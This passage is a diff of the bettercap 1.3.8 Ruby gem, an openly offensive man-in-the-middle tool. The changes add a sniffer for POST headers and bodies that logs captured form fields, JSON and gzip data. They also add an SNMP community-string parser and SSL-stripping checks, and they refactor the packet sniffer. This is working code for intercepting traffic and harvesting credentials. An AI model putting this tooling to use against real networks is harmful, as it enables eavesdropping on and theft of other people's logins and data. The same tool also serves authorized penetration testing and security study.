msg << ( b.chr =~ /[[:print:]]/ ? b.chr : '.' ).yellow
|
100
|
+
end
|
101
|
+
msg
|
102
|
+
end
|
103
|
+
|
104
|
+
def self.dump_gzip( request )
|
105
|
+
msg = ''
|
106
|
+
uncompressed = Zlib::GzipReader.new(StringIO.new(request.body)).read
|
107
|
+
self.dump_raw( uncompressed )
|
108
|
+
end
|
109
|
+
|
110
|
+
def self.dump_json( request )
|
111
|
+
obj = JSON.parse( request.body )
|
112
|
+
json = JSON.pretty_unparse(obj)
|
113
|
+
json.scan( /("[^"]+"):/ ).map { |x| json.gsub!( x[0], x[0].blue )}
|
114
|
+
json
|
115
|
+
end
|
116
|
+
|
117
|
+
# If +request+ is a complete POST request, this method will log every header
|
118
|
+
# and post field with its value.
|
119
|
+
def self.log_post( request )
|
120
|
+
# the packet could be incomplete
|
121
|
+
if request.post? and !request.body.nil? and !request.body.empty?
|
122
|
+
msg = "\n[#{'HEADERS'.green}]\n\n"
|
123
|
+
request.headers.each do |name,value|
|
124
|
+
msg << " #{name.blue} : #{value.yellow}\n"
|
125
|
+
end
|
126
|
+
msg << "\n[#{'BODY'.green}]\n\n"
|
127
|
+
|
128
|
+
case request['Content-Type']
|
129
|
+
when 'application/x-www-form-urlencoded'
|
130
|
+
msg << self.dump_form( request )
|
131
|
+
|
132
|
+
when 'gzip'
|
133
|
+
msg << self.dump_gzip( request )
|
134
|
+
|
135
|
+
when 'application/json'
|
136
|
+
msg << self.dump_json( request )
|
137
|
+
|
138
|
+
else
|
139
|
+
msg << self.dump_raw( request.body )
|
140
|
+
end
|
141
|
+
|
142
|
+
Logger.raw "#{msg}\n"
|
143
|
+
end
|
144
|
+
end
|
145
|
+
|
85
146
|
# Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
|
86
147
|
# with the +request+ and +response+ most important informations.
|
87
148
|
def self.log_http( request, response )
|
88
149
|
is_https = request.port == 443
|
89
150
|
request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
|
90
151
|
response_s = "( #{response.content_type} )"
|
91
|
-
request_s =
|
152
|
+
request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
|
92
153
|
code = response.code[0]
|
93
154
|
|
94
155
|
if @@CODE_COLORS.has_key? code
|
@@ -98,6 +159,10 @@ class StreamLogger
|
|
98
159
|
end
|
99
160
|
|
100
161
|
Logger.raw "[#{self.addr2s(request.client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
|
162
|
+
# Log post body if the POST sniffer is enabled.
|
163
|
+
if Context.get.post_sniffer_enabled?
|
164
|
+
self.log_post( request )
|
165
|
+
end
|
101
166
|
end
|
102
167
|
end
|
103
168
|
end
|
@@ -23,6 +23,15 @@ class Streamer
|
|
23
23
|
@sslstrip = SSLStrip::Strip.new
|
24
24
|
end
|
25
25
|
|
26
|
+
# Return true if the +request+ was stripped.
|
27
|
+
def was_stripped?(request, client)
|
28
|
+
if @ctx.options.sslstrip
|
29
|
+
request.client, request.client_port = get_client_details( !( request.port == 443 ), client )
|
30
|
+
return @sslstrip.was_stripped?(request)
|
31
|
+
end
|
32
|
+
false
|
33
|
+
end
|
34
|
+
|
26
35
|
# Redirect the +client+ to a funny video.
|
27
36
|
def rickroll( client, is_https )
|
28
37
|
client_ip, client_port = get_client_details( is_https, client )
|
@@ -79,8 +88,7 @@ class Streamer
|
|
79
88
|
client.write response.to_s
|
80
89
|
rescue NoMethodError => e
|
81
90
|
Logger.warn "Could not handle #{request.verb} request from #{request.client}:#{request.client_port} ..."
|
82
|
-
Logger.
|
83
|
-
Logger.debug e.backtrace.join("\n")
|
91
|
+
Logger.exception e
|
84
92
|
end
|
85
93
|
end
|
86
94
|
|
@@ -22,23 +22,8 @@ class Post < Base
|
|
22
22
|
req = BetterCap::Proxy::Request.parse(pkt.payload)
|
23
23
|
# the packet could be incomplete
|
24
24
|
unless req.body.nil? or req.body.empty?
|
25
|
-
msg = "\n[#{'HEADERS'.green}]\n\n"
|
26
|
-
req.headers.each do |name,value|
|
27
|
-
msg << " #{name.blue} : #{value.yellow}\n"
|
28
|
-
end
|
29
|
-
msg << "\n[#{'BODY'.green}]\n\n"
|
30
|
-
|
31
|
-
req.body.split('&').each do |v|
|
32
|
-
name, value = v.split('=')
|
33
|
-
if name.nil? or value.nil?
|
34
|
-
msg << " #{URI.unescape(v).yellow}\n"
|
35
|
-
else
|
36
|
-
msg << " #{name.blue} : #{URI.unescape(value).yellow}\n"
|
37
|
-
end
|
38
|
-
end
|
39
|
-
|
40
25
|
StreamLogger.log_raw( pkt, "POST", req.to_url(1000) )
|
41
|
-
|
26
|
+
StreamLogger.log_post( req )
|
42
27
|
end
|
43
28
|
rescue; end
|
44
29
|
end
|
@@ -0,0 +1,44 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
SNMP community string parser:
|
10
|
+
Author : Matteo Cantoni
|
11
|
+
Email : matteo.cantoni@nothink.org
|
12
|
+
|
13
|
+
This project is released under the GPL 3 license.
|
14
|
+
|
15
|
+
Todo: SNMPv2
|
16
|
+
|
17
|
+
=end
|
18
|
+
|
19
|
+
module BetterCap
|
20
|
+
module Parsers
|
21
|
+
# SNMP community string parser.
|
22
|
+
class SNMP < Base
|
23
|
+
def on_packet( pkt )
|
24
|
+
begin
|
25
|
+
if pkt.udp_dst == 161
|
26
|
+
|
27
|
+
packet = Network::Protos::SNMP::Packet.parse( pkt.payload )
|
28
|
+
unless packet.nil?
|
29
|
+
if packet.snmp_version_number.to_i == 0
|
30
|
+
snmp_version = 'v1'
|
31
|
+
else
|
32
|
+
snmp_version = 'n/a'
|
33
|
+
end
|
34
|
+
|
35
|
+
msg = "[#{'Version:'.green} #{snmp_version}] [#{'Community:'.green} #{packet.snmp_community_string.map { |x| x.chr }.join.yellow}]"
|
36
|
+
|
37
|
+
StreamLogger.log_raw( pkt, 'SNMP', msg )
|
38
|
+
end
|
39
|
+
end
|
40
|
+
rescue; end
|
41
|
+
end
|
42
|
+
end
|
43
|
+
end
|
44
|
+
end
|
@@ -29,33 +29,38 @@ class Sniffer
|
|
29
29
|
# each one of them to the BetterCap::Parsers instances loaded inside the
|
30
30
|
# +ctx+ BetterCap::Context instance.
|
31
31
|
def self.start( ctx )
|
32
|
-
Thread.new
|
32
|
+
Thread.new {
|
33
33
|
Logger.debug 'Starting sniffer ...'
|
34
34
|
|
35
35
|
setup( ctx )
|
36
36
|
|
37
|
+
start = Time.now.to_i
|
38
|
+
skipped = 0
|
39
|
+
processed = 0
|
40
|
+
|
37
41
|
self.stream.each do |raw_packet|
|
38
42
|
break unless @@ctx.running
|
39
43
|
begin
|
40
44
|
parsed = PacketFu::Packet.parse(raw_packet)
|
41
45
|
rescue Exception => e
|
42
46
|
parsed = nil
|
43
|
-
#Logger.debug e.message
|
44
|
-
#Logger.debug e.backtrace.join("\n")
|
45
47
|
end
|
46
48
|
|
47
|
-
if
|
48
|
-
|
49
|
+
if skip_packet?(parsed)
|
50
|
+
skipped += 1
|
51
|
+
else
|
52
|
+
processed += 1
|
49
53
|
append_packet raw_packet
|
50
54
|
parse_packet parsed
|
51
|
-
else
|
52
|
-
Logger.debug "[SNIFFER] Skipping packet:" \
|
53
|
-
" parsed=#{parsed.nil?? 'false' : 'true'}" \
|
54
|
-
" is_ip?=#{parsed.nil?? 'false' : parsed.is_ip?}" \
|
55
|
-
" skip_packet?=#{parsed.nil?? 'true' : skip_packet?(parsed)}"
|
56
55
|
end
|
57
56
|
end
|
58
|
-
|
57
|
+
|
58
|
+
stop = Time.now.to_i
|
59
|
+
delta = stop - start
|
60
|
+
total = skipped + processed
|
61
|
+
|
62
|
+
Logger.info "[#{'SNIFFER'.green}] #{total} packets processed in #{delta} s ( #{skipped} skipped packets, #{processed} processed packets )"
|
63
|
+
}
|
59
64
|
end
|
60
65
|
|
61
66
|
private
|
@@ -74,9 +79,14 @@ class Sniffer
|
|
74
79
|
# Return true if the +pkt+ packet instance must be skipped.
|
75
80
|
def self.skip_packet?( pkt )
|
76
81
|
begin
|
77
|
-
|
78
|
-
|
79
|
-
|
82
|
+
# not parsed
|
83
|
+
return true if pkt.nil?
|
84
|
+
# not IP packet
|
85
|
+
return true unless pkt.is_ip?
|
86
|
+
# skip if local packet and --local|-L was not specified.
|
87
|
+
unless @@ctx.options.local
|
88
|
+
return ( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
|
89
|
+
end
|
80
90
|
rescue; end
|
81
91
|
false
|
82
92
|
end
|
@@ -87,7 +97,7 @@ class Sniffer
|
|
87
97
|
begin
|
88
98
|
parser.on_packet parsed
|
89
99
|
rescue Exception => e
|
90
|
-
Logger.
|
100
|
+
Logger.exception e
|
91
101
|
end
|
92
102
|
end
|
93
103
|
end
|
@@ -100,7 +110,7 @@ class Sniffer
|
|
100
110
|
array: [p],
|
101
111
|
append: true ) unless @@pcap.nil?
|
102
112
|
rescue Exception => e
|
103
|
-
Logger.
|
113
|
+
Logger.exception e
|
104
114
|
end
|
105
115
|
end
|
106
116
|
|
data/lib/bettercap/version.rb
CHANGED
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
|
|
12
12
|
=end
|
13
13
|
module BetterCap
|
14
14
|
# Current version of bettercap.
|
15
|
-
VERSION = '1.3.
|
15
|
+
VERSION = '1.3.8'
|
16
16
|
# Program banner.
|
17
17
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
18
18
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.3.
|
4
|
+
version: 1.3.8
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-02-
|
11
|
+
date: 2016-02-13 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
@@ -143,6 +143,7 @@ files:
|
|
143
143
|
- lib/bettercap/network/protos/dhcp.rb
|
144
144
|
- lib/bettercap/network/protos/mysql.rb
|
145
145
|
- lib/bettercap/network/protos/ntlm.rb
|
146
|
+
- lib/bettercap/network/protos/snmp.rb
|
146
147
|
- lib/bettercap/network/servers/dnsd.rb
|
147
148
|
- lib/bettercap/network/servers/httpd.rb
|
148
149
|
- lib/bettercap/network/services
|
@@ -159,7 +160,6 @@ files:
|
|
159
160
|
- lib/bettercap/proxy/sslstrip/cookiemonitor.rb
|
160
161
|
- lib/bettercap/proxy/sslstrip/lock.ico
|
161
162
|
- lib/bettercap/proxy/sslstrip/strip.rb
|
162
|
-
- lib/bettercap/proxy/sslstrip/urlmonitor.rb
|
163
163
|
- lib/bettercap/proxy/stream_logger.rb
|
164
164
|
- lib/bettercap/proxy/streamer.rb
|
165
165
|
- lib/bettercap/proxy/thread_pool.rb
|
@@ -182,6 +182,7 @@ files:
|
|
182
182
|
- lib/bettercap/sniffer/parsers/post.rb
|
183
183
|
- lib/bettercap/sniffer/parsers/redis.rb
|
184
184
|
- lib/bettercap/sniffer/parsers/rlogin.rb
|
185
|
+
- lib/bettercap/sniffer/parsers/snmp.rb
|
185
186
|
- lib/bettercap/sniffer/parsers/snpp.rb
|
186
187
|
- lib/bettercap/sniffer/parsers/url.rb
|
187
188
|
- lib/bettercap/sniffer/parsers/whatsapp.rb
|
@@ -1,53 +0,0 @@
|
|
1
|
-
# encoding: UTF-8
|
2
|
-
=begin
|
3
|
-
|
4
|
-
BETTERCAP
|
5
|
-
|
6
|
-
Author : Simone 'evilsocket' Margaritelli
|
7
|
-
Email : evilsocket@gmail.com
|
8
|
-
Blog : http://www.evilsocket.net/
|
9
|
-
|
10
|
-
This project is released under the GPL 3 license.
|
11
|
-
|
12
|
-
=end
|
13
|
-
|
14
|
-
module BetterCap
|
15
|
-
module Proxy
|
16
|
-
module SSLStrip
|
17
|
-
|
18
|
-
# Class to handle a list of ( client, url ) objects.
|
19
|
-
class URLMonitor
|
20
|
-
# Create an instance of this object.
|
21
|
-
def initialize
|
22
|
-
@urls = []
|
23
|
-
end
|
24
|
-
|
25
|
-
# Return true if the object (client, url) is found inside this list.
|
26
|
-
def was_stripped?( client, url )
|
27
|
-
@urls.include?([client, url])
|
28
|
-
end
|
29
|
-
|
30
|
-
# Add the object (client, url) to this list.
|
31
|
-
def add!( client, url )
|
32
|
-
unless was_stripped?(client, url)
|
33
|
-
@urls << [client, url]
|
34
|
-
end
|
35
|
-
end
|
36
|
-
|
37
|
-
# Return a normalized version of +url+.
|
38
|
-
def normalize( url )
|
39
|
-
url = if url.include?('://') then url else "https://#{url}" end
|
40
|
-
url = if url.end_with?('/') then url else "#{url}/" end
|
41
|
-
url
|
42
|
-
end
|
43
|
-
|
44
|
-
# Downgrade +url+ from HTTPS to HTTP.
|
45
|
-
# Will take care of HSTS bypass urls in a near future.
|
46
|
-
def downgrade( url )
|
47
|
-
url.gsub( 'https://', 'http://' )
|
48
|
-
end
|
49
|
-
end
|
50
|
-
|
51
|
-
end
|
52
|
-
end
|
53
|
-
end
|